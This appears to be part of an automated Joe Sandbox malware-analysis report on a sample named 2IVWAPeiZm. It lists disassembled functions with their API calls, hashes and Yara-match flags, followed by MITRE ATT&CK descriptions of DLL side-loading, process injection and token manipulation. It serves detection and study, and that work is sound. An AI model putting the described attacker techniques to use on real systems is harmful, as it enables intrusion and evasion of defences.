Instruction ID: 83a4c5854701827010ca6dd7a58362c9b8c923de3aa7ac550c7e6093f0022ba1
Opcode Fuzzy Hash: a2ac5f14c1fdbe427516915e7673df18383f0521a432ce3d7036e12227a3bb22
Instruction Fuzzy Hash: 6A212632254BC193E648CF26E58079DB3B6F758B90F548029DBAA43724DF38E9A2C740

Function 000001CFB96173C0 Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB96173CA

Part of subcall function 000001CFB96168EC: _amsg_exit.LIBCMT ref: 000001CFB9616902

_lock.LIBCMT ref: 000001CFB96173F8
free.LIBCMT ref: 000001CFB961742E
_amsg_exit.LIBCMT ref: 000001CFB9617467

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _amsg_exit$_getptd_lockfree
String ID:
API String ID: 2148533958-0
Opcode ID: f2587bb608eee58bbdc4fe3f4ae55a0b20caa350a6235c7f92d91497b64470b6
Instruction ID: 7a147897e926bf7072bf79d4104ef0a9e7542494104610769ccef5e1ca3a4d33
Opcode Fuzzy Hash: f2587bb608eee58bbdc4fe3f4ae55a0b20caa350a6235c7f92d91497b64470b6
Instruction Fuzzy Hash: A1115B32649BD286FA989B15E540BE937B3F784B80F48603DEB4D033A5CF28CE568745

Function 000001CFB961DDD0 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 000001CFB961DDE4

Part of subcall function 000001CFB961B128: _amsg_exit.LIBCMT ref: 000001CFB961B152

fclose.LIBCMT ref: 000001CFB961DE14
DeleteCriticalSection.KERNEL32 ref: 000001CFB961DE38
free.LIBCMT ref: 000001CFB961DE49

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CriticalDeleteSection_amsg_exit_lockfclosefree
String ID:
API String ID: 594724896-0
Opcode ID: cbcb0af5c4ec0b9e0fc61f5741c797428a59e1d73c215e25a4a34673d0dbcbe6
Instruction ID: f644ec9dc345c014712f8a133288fc36564576af0daa7c59d39d8e8c4097b887
Opcode Fuzzy Hash: cbcb0af5c4ec0b9e0fc61f5741c797428a59e1d73c215e25a4a34673d0dbcbe6
Instruction Fuzzy Hash: 4C11BF3914469282F6108B29E490BEC7773F790B84F52922DDA6A833B5CF35CE03C704

Function 000001CFB9616788 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32 ref: 000001CFB9616797
DeleteCriticalSection.KERNEL32 ref: 000001CFB961AFD3
free.LIBCMT ref: 000001CFB961AFDC
DeleteCriticalSection.KERNEL32 ref: 000001CFB961B003

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CriticalDeleteSection$Freefree
String ID:
API String ID: 1250194111-0
Opcode ID: 2c2e5a34796529a4a5be6099f47fd1e2f13f6f8b89c396f5782b1f565a4b4ed1
Instruction ID: a2e17a3e9e252adc0310e89c259102819042668b343f5c97bda5abb1dc0be3d0
Opcode Fuzzy Hash: 2c2e5a34796529a4a5be6099f47fd1e2f13f6f8b89c396f5782b1f565a4b4ed1
Instruction Fuzzy Hash: AD11C131A80AD1CAFB149F26E440BD873B3FB55BA4F58512DE65A026A5CB38CE478700

Function 00007FF6F6083FF4 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6F6084020
GetCurrentThreadId.KERNEL32 ref: 00007FF6F608402E
GetCurrentProcessId.KERNEL32 ref: 00007FF6F608403A
QueryPerformanceCounter.KERNEL32 ref: 00007FF6F608404A

Memory Dump Source

Source File: 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6F6080000, based on PE: true

Associated: 00000000.00000002.4113613717.00007FF6F6080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F679E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f6080000_2IVWAPeiZm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 4e3e524fe816d8fdedbbcd9c0117ef821ef529bf089941ea9a5db34e2c72991b
Instruction ID: 0fdf380206e3c4ae9c9b35600009f8dc9c903c5c6feb5a4172631a09b42eb3e5
Opcode Fuzzy Hash: 4e3e524fe816d8fdedbbcd9c0117ef821ef529bf089941ea9a5db34e2c72991b
Instruction Fuzzy Hash: F4114C22B18B018AEB00DB70E9542A833A8FB19758F540A31DA2D827A4EF39E1548780

Function 000001CFB9612250 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001CFB9612285
ExitThread.KERNEL32 ref: 000001CFB961228D
GetCurrentThreadId.KERNEL32 ref: 000001CFB9612294
_freefls.LIBCMT ref: 000001CFB96122C5

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Thread$CurrentErrorExitLast_freefls
String ID:
API String ID: 217443660-0
Opcode ID: 0c54948b413dcb62bcc1e19796f41cb7d637fc0fc87dfeb4486389253ca151fe
Instruction ID: 02b1bd3b4af03ff4c454697dc2e9ab6d14e62d4247949795c97eb79c9f5692e5
Opcode Fuzzy Hash: 0c54948b413dcb62bcc1e19796f41cb7d637fc0fc87dfeb4486389253ca151fe
Instruction Fuzzy Hash: DE011438281BE386FF04ABB1D449BDC22B7EB29B84F145838894D47396EF25CE128310

Function 000001CFB960F210 Relevance: 6.0, APIs: 4, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9601510: HeapFree.KERNEL32 ref: 000001CFB9601556
Part of subcall function 000001CFB9601510: free.LIBCMT ref: 000001CFB9601582

HeapDestroy.KERNEL32 ref: 000001CFB960F22E
HeapCreate.KERNEL32 ref: 000001CFB960F23F
free.LIBCMT ref: 000001CFB960F251
HeapDestroy.KERNEL32 ref: 000001CFB960F274

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Heap$Destroyfree$CreateFree
String ID:
API String ID: 3907340440-0
Opcode ID: 6c35344232297ddca062a7ecf9d343549618f0adc94a152abf304eb900da9dbf
Instruction ID: 017bcdcd6461d0af9552a17a04330a7f679d1e5cce37b7087183ce35c8f9405a
Opcode Fuzzy Hash: 6c35344232297ddca062a7ecf9d343549618f0adc94a152abf304eb900da9dbf
Instruction Fuzzy Hash: 6C01FB762517C196FB49DFA2D2D0BA83372FB44B80F149429DF5A03A50CF34D9B18700

Function 000001CFB9617C90 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB9617C96

Part of subcall function 000001CFB96168EC: _amsg_exit.LIBCMT ref: 000001CFB9616902

_getptd.LIBCMT ref: 000001CFB9617CB6
_lock.LIBCMT ref: 000001CFB9617CC9
_amsg_exit.LIBCMT ref: 000001CFB9617CF7

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _amsg_exit_getptd$_lock
String ID:
API String ID: 3670291111-0
Opcode ID: 0719577052dd8dbbe3d2956cec04f6aa2f25f45637293d100d6e43a18118f971
Instruction ID: dc7e2e2e3d8d0baff2d6a7eee2eff0cf27ae6b3db2f6f0da059037679ebc90eb
Opcode Fuzzy Hash: 0719577052dd8dbbe3d2956cec04f6aa2f25f45637293d100d6e43a18118f971
Instruction Fuzzy Hash: ACF03A31A811D289FA58BB62C852FE82673EB54B44F08627DDA09073E2DF14CF47D311

Function 000001CFB93A417C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 209COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB93A41A0

Strings

csm, xrefs: 000001CFB93A42D7
csm, xrefs: 000001CFB93A41CD

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 101f134f4e12a7d59dd54e5d86992c5274962396a685041d1e783f31e629751d
Instruction ID: 0ff36384ee235d28da2c39d84739853e0209b86385bbf37f545b262b2e343d82
Opcode Fuzzy Hash: 101f134f4e12a7d59dd54e5d86992c5274962396a685041d1e783f31e629751d
Instruction Fuzzy Hash: 9F614F30248A848BFBA49F58C089BAD73FAFF94311F6C417DE459C6291C734DE928782

Function 000001CFB962450C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB9624530

Part of subcall function 000001CFB96168EC: _amsg_exit.LIBCMT ref: 000001CFB9616902

Strings

csm, xrefs: 000001CFB962455D
csm, xrefs: 000001CFB9624667

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _amsg_exit_getptd
String ID: csm$csm
API String ID: 4217099735-3733052814
Opcode ID: b4335f6522e7e80a9ea6f02fb5edf038cefa00e5c77d013af3b4ceb8a0a46fd5
Instruction ID: e03839bb654842f6393b23fce2fb77f0f035dc0fa6a9b2e867dbfd3b3ea96ca7
Opcode Fuzzy Hash: b4335f6522e7e80a9ea6f02fb5edf038cefa00e5c77d013af3b4ceb8a0a46fd5
Instruction Fuzzy Hash: D5519F722442C28AFB64AF25D144BED76B3F345B98F148139DA9857BC5CB38CE92CB01

Function 000001CFB960CB84 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9611EF8: malloc.LIBCMT ref: 000001CFB9611F12

wsprintfW.USER32 ref: 000001CFB960CBD8
CloseHandle.KERNEL32 ref: 000001CFB960CD4B

Strings

%s_bin, xrefs: 000001CFB960CBCE

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CloseHandlemallocwsprintf
String ID: %s_bin
API String ID: 2399101171-2665034546
Opcode ID: 73f2347fc04c363fb463311cadf306259aa04cbced74c9f40dacb5d9e580c84a
Instruction ID: 735a5a74e96ddf85284ca8dcd32d2045b031f55c30349411f181ea12d1a7cf60
Opcode Fuzzy Hash: 73f2347fc04c363fb463311cadf306259aa04cbced74c9f40dacb5d9e580c84a
Instruction Fuzzy Hash: 55516936680AE681FB549B66E494BE92377E785B98F45813BDE4943381EF38CE46C301

Function 000001CFB93A7323 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB93A73E7

Strings

csm, xrefs: 000001CFB93A73A3
csm, xrefs: 000001CFB93A734A

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 2390259f5c7b96c66dbe66369981e250b2529a0f82c8583acd2dcf66a4ceee86
Instruction ID: bf94e87399ae75d4d9b1023224316f8937d70d6c22b42ded64df34b4fee55962
Opcode Fuzzy Hash: 2390259f5c7b96c66dbe66369981e250b2529a0f82c8583acd2dcf66a4ceee86
Instruction Fuzzy Hash: A53192715505488FEB94DF08C484FD83BB6FB18355F9A1268E80ADB6A1C375DE82CB85

Function 000001CFB95C1B65 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB95C1AE6
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB95C1AF1

Strings

B, xrefs: 000001CFB95C1B16

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID: B
API String ID: 2959964966-1255198513
Opcode ID: 33eed6f18bd9708a75986aa2f9e9a3c3770ea949f362b88cbd3767c942d40272
Instruction ID: d469909a9cf8c50b45cedd39f5f193f8978e563285f29ea63d3dac73ebf429c6
Opcode Fuzzy Hash: 33eed6f18bd9708a75986aa2f9e9a3c3770ea949f362b88cbd3767c942d40272
Instruction Fuzzy Hash: 8F21D731298B884FE754DF69C480B9A76F2FB98314F50467EA059C72A1DB34DE418B82

Function 000001CFB93992C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB9399245
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9399250

Strings

B, xrefs: 000001CFB9399275

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID: B
API String ID: 2959964966-1255198513
Opcode ID: 73502fd124d6cf00853d581bf882fb075b8bd757f79a276966b90f1791381e53
Instruction ID: bfdc1264ccbb06477ae5c069fde482f2f1225dea3b4729b7d7e26bcb3e77cd38
Opcode Fuzzy Hash: 73502fd124d6cf00853d581bf882fb075b8bd757f79a276966b90f1791381e53
Instruction Fuzzy Hash: BF217131258B8C4FE744EF18C051B99B7E6FF98314F68066EA49AC72D2CB34CA418782

Function 000001CFB95C2A7D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB95C2A26
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB95C2A31

Strings

B, xrefs: 000001CFB95C2A5D

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID: B
API String ID: 2959964966-1255198513
Opcode ID: 516149fce9f22260bbb91646df7e774d68420353d6d93d3e92b7422021e3e651
Instruction ID: ba0b405e3fb2dbf00936f1fc07bd31494d7097f3547d0e1569dd49292775b1af
Opcode Fuzzy Hash: 516149fce9f22260bbb91646df7e774d68420353d6d93d3e92b7422021e3e651
Instruction Fuzzy Hash: 4B11B631258A4C4FE754EF5CD445BA572F2F798325F10476EA019C32A1CB74C985C782

Function 000001CFB9625673 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB9625737

Strings

csm, xrefs: 000001CFB96256F3
csm, xrefs: 000001CFB962569A

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: adaa6685140d013229b87e0900e6bb870b5ecf36f56bb8fc9029b7052b75248d
Instruction ID: dc18db952156202acc2ad94cd8a4f0f100bd4e08683a89d168b525862dfd0f9e
Opcode Fuzzy Hash: adaa6685140d013229b87e0900e6bb870b5ecf36f56bb8fc9029b7052b75248d
Instruction Fuzzy Hash: BC31F877140644CAEB709F25C4807983BB7F358BADF8A1229EA4D0BB64C771C981C784

Function 000001CFB9612094 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB9612015
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9612020

Strings

B, xrefs: 000001CFB9612045

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID: B
API String ID: 2959964966-1255198513
Opcode ID: f088f751c6130e0347a60f9d5db140f9e09b5be0cd7f400276dad2ae3b248d9f
Instruction ID: bbbca7f4ac2dece226419f0cea7b7f70dde8dd85f25202d865aa29dad37c33c4
Opcode Fuzzy Hash: f088f751c6130e0347a60f9d5db140f9e09b5be0cd7f400276dad2ae3b248d9f
Instruction Fuzzy Hash: 5911547225479186F7209B15D440B9DB7B3F788BD4F585329AF9907B99CB38CA42CB00

Function 000001CFB93A7423 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB93A1EAC: _getptd.LIBCMT ref: 000001CFB93A1EB9
Part of subcall function 000001CFB93A1EAC: _getptd.LIBCMT ref: 000001CFB93A1ECC

_getptd.LIBCMT ref: 000001CFB93A7484
_getptd.LIBCMT ref: 000001CFB93A7497

Strings

csm, xrefs: 000001CFB93A7443

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 35b0bd16f7e3123afff5f8d7884c9707d222e55ed248ace39548ee5ea977c29c
Instruction ID: d44ea5c82b4b6bd6efd72be1dbecffe1289b2bdb9907913d969a349e4d6b3e5d
Opcode Fuzzy Hash: 35b0bd16f7e3123afff5f8d7884c9707d222e55ed248ace39548ee5ea977c29c
Instruction Fuzzy Hash: 5F11FE3058068C8AFFA49F68C484BE936AAEF14301F6C01BDD80A862A2D725CE41C741

Function 000001CFB9612FAC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB9612F55
_invalid_parameter_noinfo.LIBCMT ref: 000001CFB9612F60

Strings

B, xrefs: 000001CFB9612F8C

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID: B
API String ID: 2959964966-1255198513
Opcode ID: b07f0b1de1580df73ef35a1dda026804a211ccf65fffdaf64d0ab0cb9432950b
Instruction ID: 1dcab5c8c5b16f789d96e96d801fb5b1b3c84a891e9b971e0d909626bfd68dec
Opcode Fuzzy Hash: b07f0b1de1580df73ef35a1dda026804a211ccf65fffdaf64d0ab0cb9432950b
Instruction Fuzzy Hash: 1E11A172650A908AFB10DF12D44079DB672F798FE4F984328AF5807B95CF38C645CB00

Function 000001CFB9625773 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9622FA4: _getptd.LIBCMT ref: 000001CFB9622FB1
Part of subcall function 000001CFB9622FA4: _getptd.LIBCMT ref: 000001CFB9622FC4

_getptd.LIBCMT ref: 000001CFB96257D4
_getptd.LIBCMT ref: 000001CFB96257E7

Strings

csm, xrefs: 000001CFB9625793

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 34a6e5094d230271cc48ef9976103e3764de904eb69e73686b2bc1866bfbe032
Instruction ID: b98e4f2e7ef056de001991571cb21386961907c5e15341cd54933178957b7375
Opcode Fuzzy Hash: 34a6e5094d230271cc48ef9976103e3764de904eb69e73686b2bc1866bfbe032
Instruction Fuzzy Hash: 82014C365C12C2C9FF78BF22C840BE833B7E754B19F585139CA090AA46DB60CE82C301

Function 000001CFB95BB301 Relevance: 5.2, APIs: 4, Instructions: 156COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001CFB95BB334

Part of subcall function 000001CFB95C1911: _FF_MSGBANNER.LIBCMT ref: 000001CFB95C1941
Part of subcall function 000001CFB95C1911: _callnewh.LIBCMT ref: 000001CFB95C197F
Part of subcall function 000001CFB95C1911: _errno.LIBCMT ref: 000001CFB95C198A
Part of subcall function 000001CFB95C1911: _errno.LIBCMT ref: 000001CFB95C1995

free.LIBCMT ref: 000001CFB95BB35C
free.LIBCMT ref: 000001CFB95BB3E7
free.LIBCMT ref: 000001CFB95BB427

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 485d6661091449d068bae3cf5bd4a678363bbd619fbe34a4675e6c934643b4fd
Instruction ID: 3f183925713036d4017950a02a72b77a40c10fc475028de85a3877fe7151107b
Opcode Fuzzy Hash: 485d6661091449d068bae3cf5bd4a678363bbd619fbe34a4675e6c934643b4fd
Instruction Fuzzy Hash: C841A375598B8A4FF764EF6DC581BA676E2FB59300F00453ED98AC3252DBA0DE034781

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

